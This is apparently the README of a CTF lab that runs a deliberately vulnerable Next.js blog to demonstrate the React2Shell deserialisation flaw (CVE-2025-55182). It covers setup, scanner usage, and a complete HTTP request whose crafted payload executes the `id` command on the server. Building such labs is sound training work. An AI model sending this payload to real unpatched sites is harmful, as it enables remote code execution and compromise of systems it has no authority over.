该仓库提供了一个基于使用Next.js和React Server Components的网络安全博客的易受攻击的CTF(夺旗赛)环境。
CVE-2025-55182 : 在React Server Components 19.0.0、19.1.0、19.1.1和19.2.0版本中的预认证远程代码执行(RCE)漏洞。易受攻击的代码不安全地反序列化HTTP请求到Server Function端点的payload。
CVE-2025-66478 : 影响使用App Router的Next.js应用程序。
该挑战展示了一个网络安全博客,具有:
该博客使用了React和Next.js的易受攻击版本,从而可以利用React2Shell漏洞。
| Package | Version |
|---|---|
next | 16.0.6 |
react | 19.2.0 |
react-dom | 19.2.0 |
# Construire l'image
docker build -t react2shell-poc .
# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc
npm install
npm run build
npm run start
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
参见 React2Shell/ 目录以获取Python利用代码。
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
响应将包含 id 命令的结果,位于 x-action-redirect 头部中。
基于simple-nextjs-blog模板和CVE-2025-55182易受攻击环境的自定义CTF挑战。